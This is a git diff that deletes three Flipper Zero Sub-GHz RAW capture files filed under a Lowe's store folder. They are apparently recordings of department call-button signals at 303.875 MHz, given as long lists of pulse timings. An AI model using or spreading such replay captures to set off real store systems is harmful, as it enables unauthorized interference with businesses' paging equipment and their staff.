a/assets/resources/subghz/Stores/Lowes/Electrical.sub b/assets/resources/subghz/Stores/Lowes/Electrical.sub deleted file mode 100644 index 109ee9988..000000000 --- a/assets/resources/subghz/Stores/Lowes/Electrical.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 595 -134 165 -100 99 -1520 527 -100 4258 -3902 297 -100 231 -132 1025 -66 65 -132 297 -66 163 -132 131 -1684 11689 -3106 65 -960 133 -196 165 -66 299 -132 199 -232 429 -132 231 -166 199 -164 99 -134 65 -1422 527 -100 1259 -66 28391 -4138 197 -132 99 -68 99 -298 263 -132 65 -200 661 -100 329 -166 129 -132 361 -2312 99 -298 497 -100 99 -132 297 -100 265 -132 22567 -4066 1421 -132 199 -298 65 -430 563 -166 65 -364 199 -100 859 -100 1893 -66 1103 -10818 929 -4942 979 -2038 953 -4940 983 -7818 1015 -1982 1011 -4918 981 -7826 997 -2010 981 -7830 977 -2016 1015 -7800 1009 -2006 1005 -7810 995 -2020 997 -4908 993 -4920 1005 -4894 1011 -4924 987 -4894 1005 -7834 1009 -10704 993 -4930 1003 -1980 989 -4914 1009 -7814 1013 -1994 987 -4912 1011 -7798 999 -2022 973 -7850 997 -2014 981 -7822 989 -2018 1013 -7828 981 -2032 965 -4912 1005 -4918 1013 -4886 1023 -4912 1011 -4882 1013 -7832 983 -10724 1009 -4916 987 -2008 1003 -4888 1009 -7830 979 -2014 987 -4920 1009 -7790 1011 -2006 985 -7834 1005 -2006 979 -7844 985 -2006 1011 -7812 987 -2018 983 -4914 1015 -4916 1009 -4902 983 -4918 1013 -4886 1013 -7830 985 -10714 1035 -4886 1011 -1968 1019 -4884 1007 -7810 1041 -1964 1009 -4902 1013 -7806 1009 -2006 977 -7836 985 -2008 1009 -7826 987 -2014 981 -7838 1011 -2004 1007 -4900 1011 -4922 981 -4908 1021 -4898 983 -4924 1009 -7828 1021 -10726 1013 -4906 983 -1998 1007 -4908 981 -7844 983 -1998 1007 -4908 1013 -7804 1009 -2000 985 -7838 979 -2016 1013 -7826 987 -2014 985 -7838 1011 -2006 975 -4928 983 -4926 1011 -4888 1009 -4920 985 -4926 975 -7834 1011 -10704 1025 -4886 1013 -1976 1013 -4914 977 -7832 999 -1996 981 -4908 1019 -7808 1013 -1982 1011 -7822 1011 -1984 1013 -7804 1011 -2002 1009 -7818 1011 -1984 1015 -4914 1009 -4932 1007 -4886 1003 -4906 1029 -4886 1013 -7824 1011 -10712 979 -4938 983 -2004 1007 -4900 1015 -7804 1013 -1972 1013 -4890 1023 -7804 1005 -2012 973 -7830 1025 -1978 1007 -7836 1011 -2004 985 -7836 1005 -2002 1011 -4888 1015 -4890 1011 -4906 1009 -4902 1003 -4904 1025 -7810 989 -10730 1011 -4904 985 -1998 1005 -4902 1001 -7830 997 -1994 997 -4906 1007 -7796 1013 -2010 985 -7820 1013 -2000 1007 -7806 1045 -1982 1017 -7792 1045 -1998 975 -4926 995 -4908 995 -4920 1005 -4914 1009 -4920 999 -7800 1015 -10740 985 -4922 987 -2008 975 -4922 1007 -7796 1019 -2002 977 -4922 985 -7850 987 -2018 967 -7842 987 -2034 969 -7848 971 -2028 1005 -7826 1003 -2010 973 -4942 999 -4890 1013 -4918 975 -4928 983 -4916 1013 -7830 979 -10722 1023 -4888 1011 -1984 1001 -4916 997 -7798 1009 -2012 981 -4916 979 -7810 1023 -2004 973 -7826 1011 -2008 983 -7832 1013 -2004 981 -7840 985 -1996 1009 -4908 1009 -4898 999 -4936 -RAW_Data: 975 -4912 1025 -4882 1003 -7824 1017 -10710 995 -4916 1009 -2008 995 -4912 971 -7820 1011 -1994 987 -4936 997 -7798 1005 -2012 973 -7830 993 -2038 971 -7828 1011 -2008 985 -7830 1011 -2002 983 -4926 1015 -4890 1009 -4914 1011 -4898 981 -4938 979 -7818 1021 -10714 1013 -4904 985 -2006 1007 -4890 1011 -7808 1011 -2004 977 -4892 1027 -7800 1009 -2012 973 -7826 995 -2038 975 -7806 1011 -2002 995 -7832 1009 -2006 997 -4914 1003 -4910 979 -4928 979 -4912 1011 -4896 1015 -7806 1011 -10704 1017 -4914 999 -2002 981 -4912 977 -7846 985 -2010 1011 -4880 1013 -7788 1029 -1994 981 -7824 1009 -1992 1009 -7816 1007 -2002 1023 -7796 1005 -2006 1009 -4920 985 -4918 1007 -4884 1017 -4890 1021 -4916 1009 -7794 1015 -10746 987 -4888 1005 -2008 1007 -4886 997 -7830 1011 -2004 977 -4920 983 -7802 1037 -1968 1013 -7838 987 -2004 1011 -7790 1011 -2012 983 -7834 1009 -2000 981 -4932 985 -4922 1009 -4884 1013 -4890 1023 -4908 1005 -7814 985 -10730 983 -4922 979 -2008 1007 -4918 1013 -7808 1011 -2006 977 -4922 987 -7828 973 -2034 975 -7824 1009 -1990 1023 -7824 969 -2024 1005 -7808 1001 -2002 991 -4918 1009 -4926 973 -4920 995 -4912 1007 -4920 973 -7828 997 -10736 1011 -4918 977 -2012 985 -4910 1007 -7792 1019 -2012 985 -4914 1007 -7796 1017 -2004 985 -7812 1013 -2004 983 -7840 981 -2012 1011 -7830 977 -2012 1015 -4896 1011 -4884 1013 -4890 1025 -4916 977 -4922 1007 -7800 993 -10726 1005 -4920 971 -2004 993 -4918 1011 -7798 991 -2036 971 -4900 1013 -7824 985 -2006 1005 -7828 969 -2044 991 -7812 985 -2024 1005 -7808 1003 -2006 983 -4946 977 -4922 989 -4914 1009 -4900 1013 -4890 1013 -7824 987 -10756 987 -4890 1005 -2010 1005 -4884 1021 -7822 977 -2022 973 -4910 995 -7834 1009 -2000 977 -7834 999 -2020 995 -7818 985 -2030 975 -7834 1025 -2000 1001 -4910 977 -4922 987 -4910 1019 -4898 1013 -4910 995 -7824 987 -10726 979 -4920 1007 -1996 975 -4928 985 -7834 975 -2006 1009 -4920 989 -7796 1007 -2010 1005 -7796 1019 -2000 1003 -7826 979 -2034 1001 -7798 1013 -2000 1015 -4898 1011 -4894 1011 -4910 1009 -4898 1017 -4888 1009 -7824 1007 -10710 999 -4916 985 -2002 1007 -4902 1015 -7810 981 -1998 1005 -4902 1011 -7806 1013 -2002 975 -7834 999 -2010 987 -7828 1009 -2018 971 -7834 1001 -2002 995 -4940 969 -4914 1011 -4924 987 -4906 1007 -4916 979 -7822 1015 -10718 975 -4912 1013 -2010 991 -4888 1007 -7804 1005 -2000 999 -4910 1009 -7794 1011 -2008 985 -7826 1009 -2000 973 -7834 1011 -2014 985 -7816 995 -2036 975 -4922 1011 -4920 989 -4918 975 -4922 1011 -4888 1025 -7798 1007 -185596 231 -66 229 -132 363 -100 427 -100 197 -66 199 -132 197 -988 97 -494 69613 -432 65 -98 67 -530 65 -2644 527 -132 1217 -100 3297 -498 15229 -3726 987 -98 2635 -166 659 -66 195 -100 16193 -1086 -RAW_Data: 163 -132 131 -592 327 -66 3921 -100 1753 -292 129 -266 97 -2808 1055 -330 197 -66 199 -562 99 -100 163 -100 99 -166 67 -198 529 -1154 99 -164 165 -858 593 -166 97 -266 65 -132 363 -396 99 -164 14181 -2880 131 -398 231 -100 131 -98 497 -296 97 -166 99 -330 199 -130 165 -66 15471 -3640 1061 -198 297 -498 97 -2312 28949 -3512 131 -66 431 -166 99 -198 331 -366 97 -66 44891 -3712 561 -132 295 -98 263 -198 593 -66 67 -296 199 -132 99 -66 197 -66 397 -996 63 -100 65 -330 65 -494 1353 -100 565 -134 16509 -400 165 -1322 199 -1818 363 -64 197 -100 361 -98 659 -66 261 -98 361 -100 361 -230 67 -66 97 -100 65 -794 131 -628 1195 -728 825 -134 1249 -164 97 -198 295 -66 993 -100 531 -166 363 -100 265 -132 199 -98 131 -132 99 -100 163 -1558 15019 -3782 263 -132 497 -132 165 -364 199 -98 331 -132 329 -132 197 -362 65 -66 131 -1450 32165 -3698 331 -198 97 -296 131 -396 263 -100 199 -66 261 -66 15667 -1610 97 -232 261 -166 395 -824 759 -164 2667 -164 297 -66 331 -166 99 -266 297 -364 25987 -3728 1189 -98 563 -132 363 -132 229 -68 463 -98 131 -1978 65 -198 1557 -7616 131 -492 527 -66 363 -130 65 -2446 10031 -8230 1717 -100 1191 -132 761 -166 99 -100 14069 -522 131 -230 131 -166 297 -232 661 -98 3149 -100 197 -432 265 -892 11705 -3704 363 -66 199 -132 431 -98 531 -132 231 -100 263 -166 297 -2186 29863 -3748 593 -66 461 -164 363 -196 297 -394 65 -100 261 -132 229 -100 327 -890 429 -930 659 -3936 65 -100 297 -134 165 -164 265 -166 131 -132 431 -232 363 -100 165 -232 165 -692 361 -1154 15681 -2716 65 -1092 365 -100 231 -134 529 -98 427 -132 97 -132 97 -64 329 -462 65 -132 131 -592 231 -164 10073 -6874 97 -1222 1393 -66 263 -132 399 -396 65 -396 65 -166 9393 -8242 1955 -100 199 -1724 199 -364 659 -66 27627 -696 99 -628 131 -298 131 -1678 1419 -66 425 -198 1889 -68 429 -164 695 -166 165 -66 16099 -198 723 -894 363 -232 1813 -132 195 -100 97 -792 97 -132 131 -98 165 -494 14329 -896 65 -2714 1127 -66 1327 -66 99 -98 661 -100 297 -298 131 -98 395 -198 67 -64 231 -98 99 -164 229 -66 29519 -3700 327 -166 131 -98 329 -66 789 -66 295 -134 97 -330 133 -2048 9741 -5926 1257 -398 65 -564 65 -132 627 -296 495 -132 593 -626 22097 -3868 363 -66 297 -100 1423 -132 263 -166 231 -232 131 -1284 925 -1384 97 -1524 65 -658 163 -100 361 -100 295 -132 755 -166 99 -66 265 -66 265 -1684 821 -66 1087 -66 24385 -304 -RAW_Data: 265 -858 131 -560 99 -166 795 -134 231 -132 1555 -924 99 -3884 163 -132 163 -166 829 -68 197 -100 927 -100 297 -100 199 -364 99 -432 297 -98 99 -166 231 -432 26029 -690 63 -1154 197 -564 99 -394 4215 -200 65 -330 165 -132 365 -198 18999 -66 133 -434 65 -860 165 -66 99 -1814 3013 -134 563 -98 563 -132 10219 -5932 163 -132 365 -66 461 -66 14847 -3352 231 -68 165 -132 265 -232 233 -1224 165 -1428 2219 -66 263 -166 397 -134 429 -100 131 -66 12349 -1648 67 -1358 3307 -66 393 -66 361 -164 131 -132 757 -166 11309 -6102 65 -496 197 -132 65 -790 791 diff --git a/assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub b/assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub deleted file mode 100644 index b68051916..000000000 --- a/assets/resources/subghz/Stores/Lowes/Flooring_Desk.sub +++ /dev/null @@ -1,10 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -132 3664 -4046 297 -166 199 -100 561 -166 331 -98 231 -166 231 -100 231 -1714 65 -958 133 -66 10839 -3928 329 -100 165 -100 331 -132 665 -132 231 -66 165 -100 431 -166 363 -498 99 -166 297 -98 165 -930 1091 -132 11847 -3768 433 -66 1887 -134 1191 -200 231 -232 299 -198 397 -628 2109 -66 5543 -8664 263 -66 197 -1220 265 -134 1813 -132 525 -296 459 -132 329 -130 13635 -1188 593 -164 1055 -132 197 -100 16969 -4856 231 -1528 97 -68 197 -630 1915 -100 331 -132 663 -134 431 -166 99 -166 1825 -1252 65 -262 65 -792 63 -5552 299 -764 197 -498 2615 -100 297 -66 463 -134 331 -132 9041 -560 99 -98 97 -7296 861 -100 331 -66 795 -100 1423 -66 497 -100 361 -166 227 -66 263 -198 65 -64 361 -132 1483 -66 7513 -200 229 -962 299 -330 165 -6676 231 -98 333 -166 297 -66 13945 -3928 99 -164 231 -724 131 -132 197 -494 65 -98 65 -132 133 -994 1219 -98 461 -98 99 -164 235 -132 199 -200 99 -98 265 -432 263 -660 99 -7176 1085 -164 197 -164 295 -232 297 -68 1883 -134 989 -100 427 -132 16339 -196 227 -1386 131 -498 67 -1354 65 -66 493 -66 691 -66 2209 -130 231 -130 493 -100 265 -198 299 -100 429 -100 10727 -930 65 -630 65 -266 99 -164 131 -164 65 -560 459 -232 65 -66 493 -100 131 -792 261 -98 197 -264 229 -132 791 -66 2173 -132 361 -100 261 -132 18587 -66 131 -132 263 -164 427 -394 657 -100 493 -132 65 -66 493 -132 12475 -332 97 -1950 97 -1154 4073 -66 263 -66 527 -132 331 -134 10493 -4072 65 -432 65 -166 131 -66 463 -68 263 -430 199 -66 165 -100 263 -432 1483 -66 823 -98 559 -66 1183 -132 429 -130 429 -66 8429 -166 97 -100 363 -264 133 -130 99 -6576 65 -100 297 -134 393 -298 131 -98 465 -166 459 -66 1821 -100 957 -132 361 -66 363 -166 67 -732 99 -100 165 -264 495 -166 129 -164 65 -98 65 -5886 5883 -98 229 -132 8627 -7120 97 -66 791 -132 99 -264 97 -100 229 -98 131 -66 329 -66 1847 -134 231 -66 597 -166 297 -396 99 -100 14463 -230 131 -198 65 -66 229 -164 131 -758 165 -1526 1025 -100 363 -166 829 -200 463 -166 431 -232 297 -66 795 -100 197 -132 9393 -5570 99 -66 497 -298 131 -132 297 -398 231 -66 1555 -66 2143 -132 363 -66 12759 -3974 661 -824 97 -166 229 -68 197 -166 16623 -4134 263 -298 97 -232 133 -696 2655 -66 463 -134 795 -266 197 -200 97 -6928 823 -66 987 -264 131 -166 1389 -100 229 -100 263 -430 525 -134 263 -796 131 -68 131 -164 99 -130 329 -6084 65 -132 131 -528 197 -RAW_Data: -626 13991 -64 97 -66 793 -100 163 -164 65 -460 97 -198 229 -760 65 -2802 65 -660 99 -196 131 -660 165 -66 397 -100 13823 -66 793 -498 497 -100 795 -66 559 -3632 165 -630 1185 -100 195 -66 14207 -334 99 -364 99 -498 163 -132 167 -2710 97 -928 16021 -4626 97 -2816 1223 -66 17249 -164 97 -398 197 -298 97 -232 99 -794 99 -100 529 -396 133 -3376 263 -264 397 -132 1629 -132 195 -100 131 -98 2217 -166 265 -98 695 -132 531 -66 8805 -196 129 -166 199 -132 729 -166 165 -232 263 -66 629 -2386 265 -166 65 -134 297 -430 197 -166 131 -828 595 -100 1523 -98 763 -100 759 -134 363 -10808 973 -4926 1007 -2012 985 -4942 985 -7894 987 -2008 1011 -4920 1009 -7806 1009 -2010 1019 -7828 989 -4944 977 -2014 1021 -4912 995 -4940 1005 -4908 1007 -4928 975 -7842 1027 -2000 1001 -4908 1005 -4922 1011 -7832 1017 -10714 1013 -4942 999 -2004 975 -4946 1007 -7848 977 -2016 999 -4920 995 -7864 977 -2036 977 -7856 1003 -4920 1011 -2016 1013 -4924 985 -4948 987 -4934 1011 -4918 1009 -7836 1013 -2026 993 -4912 993 -4948 1011 -7826 1007 -10770 1011 -4892 1027 -1996 1001 -4934 981 -7842 995 -2042 977 -4938 983 -7846 1001 -2030 975 -7864 1011 -4916 995 -2002 997 -4916 1007 -4914 1009 -4924 1013 -4920 985 -7860 985 -2028 979 -4940 993 -4910 995 -7866 1005 -10706 1047 -4894 1015 -1986 1011 -4914 1011 -7810 1009 -2024 995 -4910 1027 -7832 1009 -2000 983 -7870 1005 -4930 977 -2012 1013 -4940 993 -4944 987 -4918 1013 -4946 1001 -7832 1009 -2008 1011 -4924 1013 -4924 1017 -7818 1021 -10752 1009 -4918 1007 -2016 969 -4924 1005 -7858 985 -2030 983 -4946 973 -7852 1007 -2010 1009 -7826 1011 -4938 999 -2000 1023 -4912 1007 -4942 1003 -4902 1003 -4944 985 -7838 1011 -2010 985 -4914 1005 -4940 1009 -7806 1025 -10738 989 -4936 1007 -1976 1023 -4914 983 -7852 1011 -2006 991 -4912 1001 -7832 1009 -2010 975 -7860 1011 -4936 997 -2000 995 -4956 1007 -4914 1011 -4932 977 -4934 1003 -7862 983 -2042 981 -4944 985 -4934 1007 -7844 1009 -10742 1011 -4936 993 -1996 997 -4936 983 -7860 985 -2032 977 -4954 993 -7828 1021 -1998 1011 -7836 1017 -4916 1013 -2012 985 -4938 997 -4956 983 -4938 999 -4920 1005 -7836 1011 -2018 1015 -4920 981 -4914 1003 -7858 977 -10772 997 -4912 997 -2002 1007 -4918 1009 -7818 1013 -2014 977 -4914 1007 -7842 1011 -2008 991 -7824 1019 -4908 1009 -2012 1007 -4922 1013 -4928 983 -4944 1003 -4912 1009 -7840 1015 -2010 983 -4952 981 -4936 1017 -7842 1005 -10756 995 -4910 1013 -2004 1007 -4924 1001 -7834 1015 -2002 1001 -4918 1019 -7820 1019 -2002 1011 -7830 1001 -4950 985 -2012 1013 -4916 1007 -4934 1013 -4916 999 -4946 989 -7834 1011 -2004 1009 -4932 1011 -4922 1009 -7828 1013 -10718 1013 -4940 981 -2026 983 -RAW_Data: -4924 983 -7862 999 -2002 1005 -4908 1011 -7836 983 -2012 1009 -7826 1009 -4902 1047 -1980 1019 -4910 997 -4910 1011 -4916 1009 -4926 1007 -7840 1015 -2012 985 -4954 979 -4938 999 -7858 975 -10780 985 -4932 1015 -2008 981 -4946 985 -7852 1011 -2006 991 -4910 1025 -7834 1011 -2004 973 -7876 1007 -4918 997 -2002 1025 -4910 1011 -4944 969 -4942 1009 -4922 1009 -7826 1035 -2014 971 -4946 985 -4924 1013 -7854 987 -10780 1007 -4914 1007 -1984 1013 -4920 981 -7848 987 -2030 979 -4932 995 -7828 997 -2006 1007 -7836 1009 -4918 985 -2010 1013 -4918 1007 -4924 1013 -4916 995 -4914 997 -7864 975 -2008 1011 -4924 1015 -4922 987 -7858 987 -10766 1007 -4920 1009 -2010 981 -4958 979 -7856 987 -2028 975 -4956 971 -7856 999 -2020 995 -7846 999 -4940 997 -2002 1027 -4912 1009 -4914 1007 -4946 1009 -4920 1005 -7828 1011 -2008 1023 -4914 995 -4950 1007 -7816 1021 -10752 1005 -4920 1011 -2014 987 -4920 1007 -7854 985 -2030 977 -4918 1023 -7812 1027 -1976 1013 -7826 1005 -4940 1007 -2010 993 -4912 995 -4920 1007 -4916 1013 -4926 1013 -7840 981 -2034 971 -4940 1009 -4890 1025 -7824 1019 -10752 1009 -4920 1009 -2022 981 -4924 989 -7858 999 -2002 1005 -4918 1013 -7836 1011 -2014 983 -7858 985 -4938 1005 -2006 1013 -4918 999 -4956 995 -4916 993 -4938 1011 -7858 985 -2024 1003 -4916 1001 -4952 989 -7862 981 -10778 987 -4940 977 -2014 1019 -4906 995 -7864 977 -2040 977 -4946 1001 -7836 997 -2002 995 -7856 1007 -4908 1005 -2026 973 -4920 1023 -4906 999 -4922 1007 -4942 1005 -7820 1009 -2012 975 -4950 987 -4928 1009 -7832 985 -10758 1013 -4892 1013 -2004 1007 -4902 1011 -7834 1025 -1996 999 -4942 981 -7856 1001 -2002 1009 -7838 1015 -4908 1001 -2022 1007 -4922 1013 -4918 1023 -4912 989 -4944 1011 -7858 1007 -2010 987 -4952 983 -4940 985 -7854 1007 -10740 1009 -4924 1015 -1996 985 -4948 1001 -7824 1009 -2006 1009 -4912 1013 -7840 987 -2034 971 -7878 977 -4948 983 -2016 1015 -4920 991 -4948 1001 -4914 1007 -4922 1009 -7832 985 -2010 1011 -4916 1007 -4932 975 -7832 1027 -10736 1021 -4910 977 -2008 1023 -4910 983 -7854 977 -2008 1021 -4904 985 -7852 1003 -2008 1011 -7838 1013 -4946 989 -2000 997 -4938 989 -4946 997 -4948 973 -4952 977 -7866 1009 -2008 995 -4920 1025 -4912 1011 -7858 987 -10754 1009 -4922 1007 -2004 1005 -4898 1009 -7862 987 -2010 1013 -4914 1009 -7848 1011 -1980 1023 -7824 1021 -4914 1007 -2012 1009 -4926 1017 -4922 981 -4946 997 -4946 973 -7864 983 -2010 1013 -4906 1021 -4912 1001 -7830 1007 -10746 1015 -4918 987 -2008 1009 -4920 977 -7834 1009 -2014 985 -4914 1007 -7848 977 -2014 985 -7856 985 -4940 1011 -2014 1007 -4916 1015 -4918 1017 -4910 997 -4918 1005 -7864 989 -2016 1015 -4920 1017 -4910 1019 -7824 1007 -162326 131 -1184 97 -132 131 -132 297 -166 16487 -230 99 -3270 331 -RAW_Data: -464 99 -98 16693 -3634 1583 -262 99 -266 131 -100 97 -100 163 -230 395 -198 525 -196 65 -232 16059 -2186 365 -100 131 -68 1059 -100 627 -134 429 -66 18321 -66 97 -100 395 -98 19555 -3560 67 -98 99 -198 163 -2782 231 -132 4373 -66 13401 -132 201 -432 131 -166 297 -798 97 -562 231 -66 1027 -68 4259 -132 1745 -132 661 -2454 97 -526 65 -98 131 -100 65 -264 1485 -1352 365 -166 2253 -134 429 -100 465 -66 197 -4228 67 -132 231 -460 65 -2416 263 -134 1255 -134 363 -3824 229 -66 297 -166 197 -134 99 -66 65 -66 231 -100 65 -66 463 -66 265 -164 165 -266 65 -132 10751 -3054 65 -562 1383 -66 99 -98 231 -98 295 -66 20053 -1384 97 -100 263 -132 923 -100 1155 -100 1393 -100 11139 -1128 99 -2450 1155 -100 1449 -98 3763 -230 65 -198 229 -66 197 -198 163 -528 65 -134 131 -364 99 -132 231 -132 229 -130 431 -98 629 -100 1383 -166 295 -66 1289 -66 593 -66 34677 -3812 97 -132 231 -1424 231 -1492 1391 -66 13107 -4236 65 -66 229 -132 329 -230 65 -100 229 -330 263 -166 331 -166 1849 -66 691 -98 24847 -66 12293 -132 231 -198 165 -100 263 -134 131 -66 363 -132 99 -68 197 -66 431 -166 19009 -302 133 -232 231 -264 99 -394 99 -198 1655 -758 263 -100 97 -98 231 -198 97 -164 65 -66 15157 -3780 199 -166 165 -1290 197 -1556 99 -66 1119 -66 9459 -3934 163 -166 65 -1152 263 -164 231 -132 97 -166 363 -98 22813 -66 2011 -98 689 -132 691 -3770 397 -66 2285 -100 15799 -3804 163 -66 229 -264 99 -196 99 -860 263 -466 231 -894 1287 -66 461 -66 363 -3806 99 -328 229 -362 361 -100 493 -132 65 -98 229 -692 231 -66 229 -132 791 -66 1023 -132 359 -100 14281 -266 165 -66 231 -134 165 -398 199 -164 233 -132 65 -132 99 -132 229 -132 97 -492 18639 -4522 65 -66 363 -166 231 -164 199 -230 129 -364 789 -202 2375 -854 99 -98 1877 -66 889 -100 1515 -230 1283 -100 893 -66 1389 -100 1157 -100 429 -68 16125 -98 559 -66 853 -132 1185 -66 1289 -66 20499 -166 797 -132 1193 -100 19595 -98 361 -100 18951 -136 167 -166 199 -398 65 -1094 99 -628 165 -98 3015 -66 765 -98 2881 -98 927 -66 13133 -860 231 -198 65 -1028 229 -166 199 -100 65 -66 2151 -66 199 -66 565 -200 397 -100 397 -132 197 -232 18709 -3850 265 -98 365 -164 197 -132 295 -560 395 -100 295 -824 1821 -66 861 -4002 131 -594 199 -166 197 -134 231 -166 65 -696 99 -198 67 -132 15379 -3966 331 -166 97 -134 97 -68 163 -66 329 -332 261 -232 163 -66 263 -264 67 -98 165 -RAW_Data: -626 131 -2752 65 -132 3707 -68 64519 -198 131 -398 99 -858 99 -466 18983 -1020 165 -100 99 -100 165 -232 99 -890 97 -826 18209 -196 97 -888 99 -296 165 -264 395 -66 diff --git a/assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub b/assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub deleted file mode 100644 index d2b9159ac..000000000 --- a/assets/resources/subghz/Stores/Lowes/Outdoor_Power_Equipment_Desk.sub +++ /dev/null @@ -1,17 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 276 -379 300 -539 628 -288 387 -563 159 -259 605 -651 613 -308 366 -410 105 -603 304 -551 211 -514 114 -251 178 -465 688 -689 455 -674 318 -473 306 -347 100 -700 220 -108 503 -672 501 -649 672 -347 153 -530 507 -221 127 -610 610 -611 566 -537 305 -190 286 -590 491 -340 286 -140 344 -330 492 -367 552 -155 124 -461 263 -304 689 -121 101 -257 315 -399 487 -130 675 -470 178 -310 445 -462 161 -245 227 -231 550 -430 607 -193 166 -340 419 -433 609 -185 506 -422 163 -537 552 -559 454 -247 215 -537 526 -598 -RAW_Data: 549585 -10520 1183 -1800 1179 -4690 1227 -4684 1201 -7602 1211 -1772 1217 -4690 1205 -7600 1187 -1798 1207 -4718 1199 -7598 1197 -4720 1209 -1782 1191 -7638 1203 -4680 1211 -4692 1211 -1790 1201 -4706 1207 -4702 1201 -4688 1227 -7610 1207 -10486 1211 -1786 1197 -4696 1209 -4690 1213 -7584 1241 -1774 1211 -4660 1239 -7578 1211 -1766 1215 -4722 1213 -7572 1225 -4670 1229 -1792 1207 -7602 1225 -4686 1201 -4682 1207 -1782 1253 -4650 1237 -4688 1209 -4692 1211 -7590 1205 -10496 1229 -1784 1211 -4662 1239 -4680 -RAW_Data: 1217 -7564 1237 -1784 1225 -4654 1235 -7566 1245 -1772 1211 -4696 1209 -7598 1219 -4676 1207 -1788 1203 -7616 1217 -4682 1207 -4694 1231 -1770 1229 -4666 1239 -4666 1217 -4694 1205 -7594 1215 -10482 1239 -1784 1189 -4688 1203 -4720 1179 -7598 1209 -1810 1199 -4674 1235 -7562 1239 -1782 1187 -4704 1231 -7574 1233 -4664 1255 -1740 1237 -7594 1207 -4716 1185 -4688 1237 -1770 1203 -4698 1213 -4692 1205 -4686 1217 -7602 1243 -10456 1249 -1758 1233 -4658 1239 -4654 1219 -7604 1201 -1764 1237 -4662 1243 -7568 -RAW_Data: 1231 -1772 1231 -4656 1235 -7582 1215 -4686 1239 -1768 1207 -7600 1219 -4696 1201 -4716 1183 -1806 1177 -4730 1197 -4682 1197 -4732 1177 -7604 1217 -10520 1207 -1768 1217 -4688 1207 -4690 1195 -7630 1203 -1768 1203 -4696 1219 -7606 1205 -1770 1215 -4684 1209 -7614 1203 -4684 1231 -1782 1203 -7580 1255 -4648 1237 -4680 1209 -1778 1213 -4706 1203 -4684 1207 -4688 1213 -7600 1209 -10506 1187 -1796 1205 -4698 1191 -4690 1201 -7594 1213 -1806 1177 -4720 1199 -7592 1199 -1778 1211 -4710 1185 -7588 1207 -4718 -RAW_Data: 1209 -1776 1217 -7608 1211 -4682 1217 -4682 1207 -1780 1229 -4688 1201 -4690 1205 -4712 1185 -7620 1199 -10484 1211 -1806 1179 -4724 1197 -4682 1197 -7590 1209 -1812 1187 -4714 1201 -7596 1179 -1800 1219 -4686 1197 -7616 1189 -4706 1211 -1812 1197 -7596 1199 -4716 1173 -4696 1221 -1778 1235 -4674 1211 -4690 1211 -4696 1203 -7596 1209 -10514 1211 -1780 1199 -4674 1227 -4670 1209 -7608 1213 -1780 1203 -4708 1181 -7600 1243 -1778 1195 -4710 1193 -7582 1239 -4662 1251 -1758 1225 -7616 1205 -4664 1259 -4654 -RAW_Data: 1237 -1770 1207 -4698 1215 -4688 1203 -4708 1211 -7600 1211 -10488 1231 -1766 1201 -4700 1209 -4692 1223 -7588 1201 -1774 1235 -4658 1219 -7594 1211 -1804 1181 -4716 1213 -7598 1201 -4714 1189 -1792 1207 -7600 1229 -4682 1199 -4714 1207 -1782 1193 -4718 1199 -4688 1211 -4682 1215 -7600 1203 -10498 1215 -1806 1181 -4690 1225 -4678 1229 -7598 1209 -1780 1193 -4690 1205 -7594 1215 -1774 1213 -4706 1203 -7596 1229 -4698 1205 -1780 1231 -7594 1203 -4688 1207 -4718 1187 -1810 1203 -4690 1183 -4720 1209 -4668 -RAW_Data: 1235 -7588 1203 -10482 1221 -1794 1195 -4692 1207 -4694 1217 -7572 1239 -1772 1217 -4676 1207 -7582 1205 -1806 1187 -4706 1205 -7608 1191 -4720 1201 -1774 1209 -7602 1215 -4688 1203 -4722 1181 -1802 1215 -4690 1199 -4686 1229 -4686 1211 -7604 1229 -10476 1207 -1800 1203 -4684 1217 -4694 1207 -7592 1217 -1772 1209 -4666 1255 -7566 1241 -1772 1209 -4684 1211 -7590 1235 -4678 1209 -1780 1221 -7606 1205 -4676 1245 -4654 1247 -1784 1203 -4682 1229 -4688 1203 -4694 1219 -7584 1229 -10476 1237 -1770 1221 -4664 -RAW_Data: 1233 -4642 1237 -7576 1217 -1776 1237 -4650 1249 -7538 1237 -1788 1193 -4690 1235 -7594 1203 -4676 1217 -1776 1235 -7590 1231 -4666 1211 -4694 1201 -1824 1175 -4726 1195 -4688 1199 -4712 1205 -7594 1191 -10502 1235 -1772 1209 -4714 1181 -4706 1199 -7602 1211 -1804 1183 -4722 1169 -7602 1219 -1800 1179 -4730 1201 -7586 1203 -4712 1179 -1810 1199 -7630 1189 -4706 1211 -4694 1187 -1812 1201 -4686 1209 -4688 1213 -4686 1203 -7588 1203 -10512 1207 -1792 1197 -4716 1193 -4700 1175 -7604 1219 -1782 1201 -4710 -RAW_Data: 1179 -7590 1211 -1790 1201 -4714 1189 -7618 1177 -4726 1189 -1808 1169 -7632 1191 -4706 1209 -4692 1189 -1810 1199 -4694 1209 -4690 1213 -4686 1203 -7610 1205 -10520 1177 -1808 1201 -4706 1205 -4684 1209 -7604 1189 -1810 1201 -4690 1211 -7598 1211 -1780 1199 -4686 1229 -7576 1239 -4664 1215 -1794 1199 -7620 1207 -4698 1189 -4716 1199 -1806 1175 -4724 1189 -4688 1235 -4680 1209 -7598 1217 -10478 1239 -1762 1217 -4686 1207 -4666 1257 -7558 1239 -1776 1209 -4692 1213 -7570 1231 -1766 1203 -4708 1207 -7604 -RAW_Data: 1191 -4712 1197 -1812 1175 -7632 1189 -4716 1199 -4690 1213 -1776 1217 -4720 1169 -4708 1213 -4686 1215 -7606 1197 -10510 1201 -1802 1173 -4726 1185 -4684 1203 -7610 1203 -1798 1187 -4716 1201 -7592 1203 -1776 1215 -4686 1199 -7616 1189 -4702 1207 -1782 1191 -7604 1203 -4710 1211 -4690 1213 -1780 1203 -4718 1181 -4724 1179 -4722 1197 -7592 1201 -10508 1205 -1790 1203 -4716 1179 -4724 1179 